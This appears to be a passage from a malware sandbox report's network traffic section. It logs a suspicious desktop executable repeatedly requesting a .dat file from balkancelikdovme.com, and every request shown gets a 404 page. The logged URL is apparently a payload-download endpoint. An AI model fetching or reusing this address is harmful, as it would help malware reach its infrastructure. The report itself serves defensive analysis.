2025-01-10 21:37:55 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49781	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:55 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:56 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:55 GMT vary: User-Agent
2025-01-10 21:37:56 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49782	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:56 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:56 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:56 GMT vary: User-Agent
2025-01-10 21:37:56 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49783	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:57 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:57 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:57 GMT vary: User-Agent
2025-01-10 21:37:57 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49784	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:58 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:58 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:58 GMT vary: User-Agent
2025-01-10 21:37:58 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49785	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:59 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:59 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:59 GMT vary: User-Agent
2025-01-10 21:37:59 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49786	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:00 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:00 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:00 GMT vary: User-Agent
2025-01-10 21:38:00 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49787	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:01 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:01 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:01 GMT vary: User-Agent
2025-01-10 21:38:01 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49788	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:02 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:02 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:02 GMT vary: User-Agent
2025-01-10 21:38:02 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49789	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:02 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:03 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:03 GMT vary: User-Agent
2025-01-10 21:38:03 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49790	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:03 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:04 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:03 GMT vary: User-Agent
2025-01-10 21:38:04 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49791	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:04 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:04 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:04 GMT vary: User-Agent
2025-01-10 21:38:04 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49792	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:05 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:05 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:05 GMT vary: User-Agent
2025-01-10 21:38:05 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49793	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:06 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:06 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:06 GMT vary: User-Agent
2025-01-10 21:38:06 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49794	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:07 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:07 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:07 GMT vary: User-Agent
